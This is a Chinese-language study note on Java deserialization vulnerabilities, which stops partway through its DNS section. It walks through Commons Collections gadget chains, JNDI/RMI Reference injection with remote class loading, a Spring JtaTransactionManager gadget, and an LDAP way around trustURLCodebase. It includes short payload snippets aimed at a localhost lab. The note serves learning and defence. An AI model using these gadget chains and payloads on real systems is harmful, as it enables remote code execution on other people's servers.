1. Java反序列化漏洞學習筆記
@author:alkaid
- 1. Java反序列化漏洞學習筆記
1.1. 序列化與反序列化
1.1.1. 基本概念
一般而言我們是沒辦法直接轉儲對象的,只能將對象的所有屬性一一訪問,保存,取出時一一還原。序列化與反序列化就是為了解決這個問題,將整個對象的數據轉儲過程封裝,對於使用者而言,相當於對象僅通過固定的幾次調用即可還原。
- 序列化: 對象轉儲成數據
- 反序列化: 從數據種轉儲成對象
1.1.2. 應用場景
JDK既然對這樣的一個過程進行了封裝,那么幾乎可以肯定一定是一個比較常用的需求。
從基本概念里面其實已經可以知道了,本質上是數據交互,從概念一節里也可隱約知道應該是為了解決需要使用這對象(數據)的系統無法直接訪問到內存里的對象,我簡單概況了三個場景:
- 其他系統需要訪問這個數據。例如http協議、rpc協議
- 因應用可能會有退出的情況,內存數據無法長期保存需要進行轉儲,例如應用的配置文件
- 存在一些動態類或者對象,系統無法知道該數據如何處理,只能通過序列化的方式將數據傳遞給動態,由動態類自行處理。例如插件的場景
1.1.3. 漏洞成因
由於接收者接收到的是數據,默認情況下是不會阻止生成相關的類的對象(在調用過程中進行說明),而且默認生成的對象是Object類(Java 所有類的超類),那意味着在默認情況下,可以是任何一個支持序列化(實現了Serializable接口)的對象,而這個對象決定能夠達到什么樣的效果,到底是命令執行、代碼執行亦或者SSRF、認證繞過等等
// ObjectInputStream
public final Object readObject()
throws IOException, ClassNotFoundException
// Context lookup
public Object lookup(Name name) throws NamingException;
PS: 部分結構需要在自行編寫相關的序列化和反序列化函數。但是這個過程很多情況下也是調用內置的序列化和反序列化函數完成下層數據的處理,在處理后的基礎上在重新構建需要的數據結構。
調用過程:
- ObjectInputStream(InputStream in) readStreamHeader() // 讀取文件的magic頭和版本進行判斷
- ObjectInputStream.readObject() // 默認反序列化
- ObjectInputStream.readObject0()
// 底層的實現
switch (tc) { // 可以理解為讀取的字節,屬於控制字符
case TC_NULL:
return readNull();
case TC_REFERENCE:
return readHandle(unshared);
case TC_CLASS:
return readClass(unshared);
case TC_CLASSDESC:
case TC_PROXYCLASSDESC:
return readClassDesc(unshared);
case TC_STRING:
case TC_LONGSTRING:
return checkResolve(readString(unshared)); // 先調用readString 再進行checkResolve (過濾函數)
// 一般情況 我們是希望先過濾再處理業務,這里是先處理業務再判斷業務,在一定程度上為反序列化漏洞利用創造了條件
// ...
case TC_OBJECT:
return checkResolve(readOrdinaryObject(unshared));
// 省略部分代碼,是其他的類似結構
// 支持 類、字符串、Null、數組、枚舉、對象、塊數據,其他例如int、float等都在ObjectInputStream里面實現了但是沒有使用tc控制符符號,原因可能是由於這些數據都是定長的 ? 只要確定了屬性,就可以知道他們的數據長度
// 疑問: blockData 塊數據
/**
* Reads and returns "ordinary" (i.e., not a String, Class,
* ObjectStreamClass, array, or enum constant) object, or null if object's
* class is unresolvable (in which case a ClassNotFoundException will be
* associated with object's handle). Sets passHandle to object's assigned
* handle.
*/
private Object readOrdinaryObject(boolean unshared)
// 省略代碼
/*
* 調用 readClassDesc
// 空對象 和 引用 以及創建新類的兩種方式
// 創建新類的方式 分別為 proxy 和 NonProxy , 對應的 resolveProxyClass / resolveClass 兩個方法獲取到具體的類 , 從字符串 -> 類
* 調用 newInstantce -> 觸發類的默認的無參構造函數
* 調用 readExternalData 和 readSerialData 獲取對象數據
// readExternalData 實現了Externalizable接口(擴展了Serializable接口)的
// readExternal()
// readSerialData 僅實現了Serializable接口
// defaultReadFields() 調用默認的序列化方式
// 調用 invokeReadObject() / invokeReadObjectNoData
// 反射調用 對應類的readObject()方法
* 生成對象完畢
* 一般而言,反序列化payload在此處已經執行完畢payload
* invokeReadResolve
// 反射調用readResolve方法
* 保存對象
*/
- ObjectInputStream.checkResolve()
// checkResolve(Object obejct)
/**
* If resolveObject has been enabled and given object does not have an
* exception associated with it, calls resolveObject to determine
* replacement for object, and updates handle table accordingly. Returns
* replacement object, or echoes provided object if no replacement
* occurred. Expects that passHandle is set to given object's handle prior
* to calling this method.
*/
private Object checkResolve(Object obj) throws IOException {
if (!enableResolve || handles.lookupException(passHandle) != null) {
return obj;
}
Object rep = resolveObject(obj); // 一般情況下反序列化的防護(serialkiller)就是重寫了resolveObject方法,對生成的類進行過濾,但是實際上這里可能已經生成某類對象。
if (rep != obj) {
// The type of the original object has been filtered but resolveObject
// may have replaced it; filter the replacement's type
if (rep != null) {
if (rep.getClass().isArray()) {
filterCheck(rep.getClass(), Array.getLength(rep)); // 調用序列化篩選器,判斷是否會觸發拒絕的類 對應的接口:ObjectInputFilter
} else {
filterCheck(rep.getClass(), -1);
}
}
handles.setObject(passHandle, rep);
}
return rep;
}
這里防護其實主要是攔截了gadget鏈上的部分關鍵類,通過攔截這些關鍵類從而終止最終利用對象的生成,如果只是攔截最外層的類對象可能無法達成防護目的
- ObjectInputStream.resolveObject()
- ObjectInputStream的對象驗證攔截器 vList.doCallbacks() -> list.obj.validateObject()
通過調用registerValidation(ObjectInputValidation obj, int prio)方法進行注冊
1.1.4. Java序列化數據格式
同一般的漏洞一樣,我們需要了解到底能夠輸入哪些數據。參考:數據結構
1.1.4.1. magic 用於標志文件
序列化數據的magic的值為0xACED。 對於一個完整的序列化二進制數據而言,如果不是以ACED開始,那么就不是一個java標准的序列化數據。
1.1.4.2. 信息
從文章中可以看到,剩余的數據包括了類名、序列版本號(serialVersionUID )、屬性名、屬性值,實際上真正能控制的只有屬性值,其他內容都是跟類綁定在一起的。
PS: 我想這就是POP(面向屬性編程)執行鏈的原因, 現在這些工具鏈好像一般都叫gadget,可以通過這個關鍵進行搜索
1.1.4.3. 工具
1.1.5. 漏洞利用
PS: 開始前的准備——把IDE會自動的跳過的斷點都打開,IDEA在setting->build,execution,deployment -> debugger -> stepping
漏洞利用大概有這么幾個方式
1.1.5.1. 經典gadgets——apache Common Collection 3
圍繞一些功能強大的工具類,發現gadgets。
1.1.5.1.1. POP鏈構造
從學習java反序列化來說,這個應該是算是最典型的。幾個特征如下:
- InvokerTransformer支持通過反射執行一個函數。
- ChainedTransformer支持一組Transformer列表調用
- TransformedMap實現了Map接口,實現了裝飾者模式,通過transformer來擴展其能力,另外看到它的結構里仍然包含了一個接口Map,所以需要提供一個支持序列化的Map進行包裝,例如HashMap
- 同時TransformedMap實現了Serializable接口,該對象是支持被序列化和反序列化的
連起來看,為TransformedMap添加一個裝飾ChainedTransformer,ChainedTransformer支持包含多個裝飾InvokerTransformer,InvokerTransformer能夠執行一個函數(例如exec函數) 。那么后續就要看看怎么能夠觸發這個裝飾者的功能:
TransformedMap.decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) // 為map 添加裝飾者valueTransformer
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer; // 作為對象的屬性保存,序列化和反序列化的時候我們就能夠還原出來
}
// 查看可知在兩個函數中使用了valueTransformer
// transformValue(object) / checkSetValue(object)
// class: AbstractInputCheckedMapDecorator
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value); // 這里觸發
return entry.setValue(value);
}
}
// class: TransformedMap
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value); // 此處也可以
return getMap().put(key, value);
}
protected Map transformMap(Map map) {
if (map.isEmpty()) {
return map;
}
Map result = new LinkedMap(map.size());
for (Iterator it = map.entrySet().iterator(); it.hasNext(); ) {
Map.Entry entry = (Map.Entry) it.next();
result.put(transformKey(entry.getKey()), transformValue(entry.getValue())); // 這里
}
return result;
}
需要觸發setValue 或者 put 或者 transformMap就能夠執行命令
1.1.5.1.2. 利用(觸發工具 gadget)
之前在分析反序列化數據時候已經說明了,我們能夠控制的只有數據,也是具體對象的內容,但是讓應用執行上一節中所說的觸發函數還需要再找一個媒介,滿足:
- 包含了一個TransformedMap以及其的任何一個父類或者接口(包括Map)作為屬性
- 實現了Serializable接口,這樣才能夠順利的被序列化以及反序列化
- 調用了Map.Entry的setValue/put/transformMap就能夠執行命令的方法(看過readobject方法的話可以知道Map類型是沒有默認讀取方式的,只能自己來實現,所以極大概率會調用setValue/put方法——為數不多的為map賦值的方式)
這里以sun.reflect.annotation.AnnotationInvocationHandler為例,看了一下,算了... 修改過了(跟17年看到的時候不一樣了... 翻車)
// AnnotationInvocationHandler.readObject jdk8u171
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null); // 我們創建的transformMap在這里被重新獲取到
AnnotationType var5 = null;
try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap(); // 在這里重新創建了一個map
String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) { // 此處的put是新創建的LinkedHashMap的put並不是我們經過裝飾的map的put函數
Entry var9 = (Entry)var8.next(); // 獲取了entry單條記錄
var10 = (String)var9.getKey(); // 通過get的方式賦值給了新創建的map ,並沒有調用setValue 或者 put
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}
AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}
翻出來了JDK7u80的這個類
// AnnotationInvocationHandler.readObject jdk7u80
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator(); // 我們注入的transformMap
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); // 調用了setValue方法,觸發了payload,彈出了計算器
}
}
}
}
在ysoserial里看到了CommonsCollections5,用了BadAttributeValueExpException來做觸發,可以自己調一調,觸發的方式。
1.1.5.1.3. 總結
總的來說pop鏈還是相當精彩的,整個利用條件相當苛刻,但是一環扣一環,所有屬性涉及到的類都需要滿足實現Serializable接口或者在原理一節涉及到的基本類。
不過只是思路看起來復雜而已,在利用時本來就需要服務端存在相關類,相關類只要是支持序列化的話,屬性的這些處理都已經納入到考慮范圍內,如果包含了不能序列化的屬性一定會報錯的,從而程序無法利用。
1.1.5.2. 圍繞RMI / JNDI / JRMP 進行的利用方式
1.1.5.2.1. 介紹
作為入門,還是希望理清楚這三者的關系先,可以看看引用的第5篇文章,寫的還是蠻好的。我以一個案例來簡單的介紹一下三者的關系。
-
程序員需要實現一個自動販賣機系統以及在后台匯總每台販賣機的數據,我們知道數據都在自動販賣機的系統里的,那么位於我們身邊的后台服務器怎么知道獲取數據呢, 當然http協議可完成傳輸,但是程序員們決定s設計一個酷酷的方式叫RMI,它讓我們在后台服務器上可以調用位於自動販賣機系統里的對象的方法
-
本質上來說數據還是在遠程的自動販賣機里,需要設計數據傳輸的方式,這便是JRMP
PS: RMI-IIOP是另一種協議,它把Java對象暴露給CORBA的ORB。 -
但是想要獲取的數據可能不只在一個對象中,需要能容納很多對象,同時還要能提供找到目標對象的方式,提供這類服務便是JNDI。
PS: JNDI和LDAP的關系 似乎跟 JAR和ZIP的關系有點像。是通過ldap/zip封裝后專門給java使用的
RMI技術其實是廣泛應用在Java的基本類、一些框架和通用工具類中。同時這些相關的類大多數都是實現了Serializable接口,能夠支持我們反序列化進行利用,也一些造成了挖掘到的POP鏈可能影響范圍極大。
1.1.5.2.2. 利用:圍繞着 Java referenceWrapper gadget
簡單了解過RMI后,可能會有一個疑問,之前在介紹反序列化漏洞成因時強調攻擊者能控制的內容只有對象屬性,而非方法。RMI是支持遠程方法調用的技術,這兩者似乎並不容易打通。
這確實是的,如果只是使用rmi的話,需要在客戶端和服務端都存在某一個類,通過rmi技術調用這個類的方法,正常情況下確實是沒辦法利用的。但是存在Reference類,這個類提供了一個加載遠程類的屬性同時實現了Serializable接口,相當於我們能夠控制具體執行的方法。
public Reference(String className,
RefAddr addr,
String factory,
String factoryLocation)
// Constructs a new reference for an object with class name 'className', the class name and location of the object's factory, and the address for the object.
// Parameters:
// className - The non-null class name of the object to which this reference refers.
// factory - The possibly null class name of the object's factory.
// factoryLocation - The possibly null location from which to load the factory (e.g. URL)
// e.g URL 重點支持了URL統一資源定位符,那么就能支持很多協議了http、file、ftp等等等
// addr - The non-null address of the object.
// See Also:
// ObjectFactory, NamingManager.getObjectInstance(java.lang.Object, javax.naming.Name, javax.naming.Context, java.util.Hashtable<?, ?>)
PS:一般代碼里的factory可以聯想到設計模式的工廠模式,其用來管理某一系列類,從具體類中解耦(詳細可以自行了解一下)。從注釋里可以看到,通過這個對象可以指定一個工廠,但是還是之前說的,我們能控制的只有屬性,雖然現在還能控制方法的具體內容,但是還是沒辦法主動讓系統加載factory的地址對應的類同時調用這個類的方法。
梳理到底是如何觸發的,還是先看看大佬們挖掘的payload如下:
Reference reference = new Reference("Calc","Calc","http://127.0.0.1:8080/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("hello",referenceWrapper);
PS: 如果需要在高版本的JDK里執行該payload。需要設置com.sun.jndi.rmi.object.trustURLCodebase=true 。
IDEA: Run -> edit configurations -> VM options 中添加-Dcom.sun.jndi.rmi.object.trustURLCodebase=true
從內容看相當簡單,涉及兩個類之前提到的Reference類和ReferenceWrapper類,熟悉設計模式的話,帶Wrapper的意思是包裝,簡單理解就是在原來的對象上面包上一點層(相關的設計模式是適配器模式和裝飾者模式)。代碼比較簡單如下:
public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference {
protected Reference wrappee;
private static final long serialVersionUID = 6078186197417641456L;
public ReferenceWrapper(Reference var1) throws NamingException, RemoteException {
this.wrappee = var1;
}
public Reference getReference() throws RemoteException {
return this.wrappee;
}
}
包裝了兩個部分:
- 為了添加Remote(RemoteReference 擴展了Remote接口)以支持RMI(這里之前沒有提到,用於RMI的類需要實現Remote接口)
- UnicastRemoteObject,之前在介紹的時候提到過底層通信信息交換的問題,這個類就是用於解決RMI實現過程數據交換,一般RMI的遠程對象都會繼承這個類
ReferenceWrapper的包裝就是為了讓Reference類支持RMI調用。
用於觸發payload的demo代碼如下:
try {
new InitialContext().lookup("rmi://127.0.0.1:1099/calc");
// lookup 是rmi中獲取遠程對象的主要函數
} catch (Exception e) {
e.printStackTrace();
}
調用鏈如下:
- new InitialContext().lookup(str name) // 根據name調用工廠方法獲取相應的context,調用context的lookup
- com.sun.jndi.url.rmi.rmiURLContext -> com.sun.jndi.toolkit.url.GenericURLContext.lookup(str name)
public Object lookup(String var1) throws NamingException {
ResolveResult var2 = this.getRootURLContext(var1, this.myEnv); // 解析rmi地址 加載com.sun.jndi.rmi.object.trustURLCodebase配置,生成RegistryContext
// 根據配置是否啟動java的SecurityManager 這個跟應用策略有關,可自行了解
// RegistryContext 包含rmi服務信息 端口地址從遠程獲取的stub對象
Context var3 = (Context)var2.getResolvedObj(); // 獲取RegistryContext
Object var4;
try {
var4 = var3.lookup(var2.getRemainingName());
} finally {
var3.close();
}
return var4;
}
- com.sun.jndi.rmi.registry.RegistryContext.lookup(Name 對象名)
- sun.rmi.registry.RegistryImpl_Stub.lookup(對象名)
看到stub(了解下RMI的工作原理),能夠聯想到這個類開始處理具體和遠程服務器的通信了
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = this.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1); // 名稱 注:從writeObject可以想象,服務端側肯定是調用了readObject的,從某種意義上也可以被攻擊
} catch (IOException var17) {
throw new MarshalException("error marshalling arguments", var17);
}
this.ref.invoke(var2); // 調用遠程的目標的方法,把對象名稱發送給遠程服務
Remote var22;
try {
ObjectInput var4 = var2.getInputStream(); // 獲取之前在rmi注冊的對象數據
var22 = (Remote)var4.readObject(); // 反序列化生成之前rmi注冊的對象的stub對象
} catch (IOException var14) {
throw new UnmarshalException("error unmarshalling return", var14);
} catch (ClassNotFoundException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} finally {
this.ref.done(var2); // 釋放流
}
- com.sun.jndi.rmi.registry.RegistryContext.lookup(Name 對象名)
public Object lookup(Name var1) throws NamingException {
// ...省略 重點內容在4中已經描述
return this.decodeObject(var2, var1.getPrefix(1)// 解碼對象 還原成rmi注冊的對象
}
- com.sun.jndi.rmi.registry.RegistryContext.decodeObject
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
// public final class ReferenceWrapper_Stub extends RemoteStub implements RemoteReference, Remote
// 反射調用getReference(),轉存數據,構造之前的Reference對象
Reference var8 = null;
if (var3 instanceof Reference) {
var8 = (Reference)var3;
} else if (var3 instanceof Referenceable) {
var8 = ((Referenceable)((Referenceable)var3)).getReference();
}
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
// 判斷是不是可信的地址,以及factory地址是否未null
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
// 生成了工廠的實例,調用了構造函數
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
- javax.naming.spi.NamingManager.getObjectInstance
// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
// 生成了對象工廠調用了構造函數
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// getObjectFactoryFromReference()
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase); // 遠程下載class文件到本地加載
} catch (ClassNotFoundException e) {
}
}
// 調用構造函數,觸發payload
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
到此調用鏈是清楚了,還是那個問題,怎么觸發整個調用鏈,上述的過程只是把觸發Reference轉變成觸發context的lookup,要知道lookup還是一個方法,我們需要找到一個對象,通過控制屬性能夠觸發lookup函數。 -> 需要圍繞lookup函數尋找相關的類或者找到直接調用函數的方式
這里以org.springframework.transaction.jta.JtaTransactionManager 為例,額外依賴如下
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-tx</artifactId>
<version>5.2.5.RELEASE</version>
</dependency>
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.2.5.RELEASE</version>
</dependency>
對象生成如下:
String jndiAddress = "rmi://127.0.0.1:1099/calc";
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
- 調用 org.springframework.transaction.jta.JtaTransactionManager
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
this.jndiTemplate = new JndiTemplate();
this.initUserTransactionAndTransactionManager();
this.initTransactionSynchronizationRegistry();
}
// initUserTransactionAndTransactionManager()
protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {
if (this.userTransaction == null) {
if (StringUtils.hasLength(this.userTransactionName)) {
// 構造對象時輸入的rmi地址
this.userTransaction = this.lookupUserTransaction(this.userTransactionName);
this.userTransactionObtainedFromJndi = true;
} else {
this.userTransaction = this.retrieveUserTransaction();
if (this.userTransaction == null && this.autodetectUserTransaction) {
this.userTransaction = this.findUserTransaction();
}
}
}
// lookupUserTransaction(this.userTransactionName);
protected UserTransaction lookupUserTransaction(String userTransactionName) throws TransactionSystemException {
try {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]");
}
return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class);
} catch (NamingException var3) {
throw new TransactionSystemException("JTA UserTransaction is not available at JNDI location [" + userTransactionName + "]", var3);
}
}
// org.springframework.jndi.JndiTemplate.lookup
public Object lookup(String name) throws NamingException {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Looking up JNDI object with name [" + name + "]");
}
Object result = this.execute((ctx) -> {
return ctx.lookup(name); // 通過回調執行了context的lookup函數
});
if (result == null) {
throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null");
} else {
return result;
}
}
// execute
public <T> T execute(JndiCallback<T> contextCallback) throws NamingException {
Context ctx = this.getContext(); // 創建new InitialContext , 之前我們用來調試調用鏈的context
// 后續就是之前調用流程了
Object var3;
try {
var3 = contextCallback.doInContext(ctx);
} finally {
this.releaseContext(ctx);
}
return var3;
}
不過沒有研究過,架構層面的東西,從哪些場景里找這些會加載rmi類比較合適。不過之前還遺留了一個問題,com.sun.jndi.rmi.object.trustURLCodebase的控制怎么繞過。
1.1.5.2.3. 利用 繞過com.sun.jndi.rmi.object.trustURLCodebase
回到之前查看調用鏈的過程,我們可以看到是在com.sun.jndi.toolkit.url.GenericURLContext.lookup函數中加載了配置,com.sun.jndi.rmi.registry.RegistryContext.decodeObject函數中判斷了trustURLCodebase。
lookup 函數通過調用子類(rmiURLContext)的getRootURLContext過程中設置了trustURLCodebase,也創建了RegistryContext對象。
假如不從rmiURLContext進入是否有可能繞過(PS:確實可以,大佬們已經研究過了),context加載路徑拼接如下:
"com.sun.jndi.url." + scheme + "." + scheme + "URLContextFactory" // schema = rmi 就是原來的路徑
查看相關的包路徑,可以看到能夠支持的協議其實蠻多的,包含了Context的有ldap、rmi、iiop、dns
1.1.5.2.3.1. ldap (可以觸發)
以JDK8u171為例
ldap的payload直接使用引用的第五篇文章即可,注意修改下url地址。
跟蹤調試到com.sun.jndi.toolkit.url.GenericURLContext.lookup為止其他過程均與rmi相同,之后進入com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup方法
public Object lookup(Name var1) throws NamingException {
PartialCompositeContext var2 = this;
Hashtable var3 = this.p_getEnvironment();
Continuation var4 = new Continuation(var1, var3);
Name var6 = var1;
Object var5;
try {
// 調用p_lookup繼續跟進
for(var5 = var2.p_lookup(var6, var4); var4.isContinue(); var5 = var2.p_lookup(var6, var4)) {
var6 = var4.getRemainingName();
var2 = getPCContext(var4);
}
} catch (CannotProceedException var9) {
Context var8 = NamingManager.getContinuationContext(var9);
var5 = var8.lookup(var9.getRemainingName());
}
return var5;
}
- 進入com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup
protected Object p_lookup(Name var1, Continuation var2) throws NamingException {
Object var3 = null;
HeadTail var4 = this.p_resolveIntermediate(var1, var2);
switch(var4.getStatus()) {
case 2:
var3 = this.c_lookup(var4.getHead(), var2); // 進入c_lookup
if (var3 instanceof LinkRef) {
var2.setContinue(var3, var4.getHead(), this);
var3 = null;
}
break;
case 3:
var3 = this.c_lookup_nns(var4.getHead(), var2);
if (var3 instanceof LinkRef) {
var2.setContinue(var3, var4.getHead(), this);
var3 = null;
}
}
return var3;
}
// com.sun.jndi.ldap.LdapCtx.c_lookup
protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
// 省略
LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true);
this.respCtls = var23.resControls; // 獲取在ldap上注冊的數據, 在其entries的結構中。 {objectclass=objectClass: javaNamingReference, javacodebase=javaCodeBase: http://localhost:8080/, javafactory=javaFactory: Calc, javaclassname=javaClassName: Calc}
// 省略
if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]"javaclassname") != null) {
var3 = Obj.decodeObject((Attributes)var4); // 從之前數據中,構造對象
}
// 省略
return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4); // 看到了熟悉的getInstance,大概率觸發點就在這個里面
}
// com.sun.jndi.ldap.Obj
static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]"javaCodeBase"));
try {
Attribute var1;
// 三種方式無論采用哪一種最終都可以生成Refenrence對象
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])"javaSerializedData") != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3); // 通過readObject生成對應的對象
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7]"javaRemoteLocation")) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]"javaClassName").get(), (String)var1.get(), var2); // 用於生成reference對象
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]"objectClass");
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]"javaNamingReference") && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]"javanamingreference") ? null : decodeReference(var0, var2); // 用於生成reference對象
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}
- 返回后進入 javax.naming.spi.DirectoryManager.getObjectInstance
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment, Attributes attrs)
throws Exception {
// 省略
// use reference if possible
Reference ref = null;
// 熟悉的判斷之前調試rmi協議的時候也是判斷了refence類
if (refInfo instanceof Reference) { // 第一個參數的類必須是可控的
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
// 創建了工廠,在這里觸發構造函數
factory = getObjectFactoryFromReference(ref, f);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
ref, name, nameCtx, environment, attrs); // payload也可以放在這個函數里
} else if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// 省略
}
}
}
}
// javax.naming.spi.NamingManager.getObjectFactoryFromReference()
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase); // 從遠程codebase加載了攻擊者的類
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null; // 執行構造函數,觸發payload
}
1.1.5.2.3.2. DNS協議(不可以利用)
生成的是dnsURLContext作為context對象。
- 調用com.sun.jndi.toolkit.url.GenericURLContext.lookup方法
// 代碼之前分析過
ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);
Context var3 = (Context)var2.getResolvedObj(); // 取出dnsURLContext
Object var4;
try {
// 主要看lookup函數從遠程獲取數據后的解析方式
var4 = var3.lookup(var2.getRemainingName());
} finally {
var3.close();
}
return var4;
-
同樣進入com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup
-
再次進入com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup
-
進入c_lookup
// 此處不一樣了 是com.sun.jndi.dns.DnsContext類下的c_lookup
public Object c_lookup(Name var1, Continuation var2) throws NamingException {
var2.setSuccess();
if (var1.isEmpty()) {
DnsContext var9 = new DnsContext(this);
var9.resolver = new Resolver(this.servers, this.timeout, this.retries);
return var9;
} else {
try {
DnsName var3 = this.fullyQualify(var1);
ResourceRecords var10 = this.getResolver().query(var3, this.lookupCT.rrclass, this.lookupCT.rrtype, this.recursion, this.authoritative); // 通過dns請求返回數據
Attributes var5 = rrsToAttrs(var10, (CT[])null);
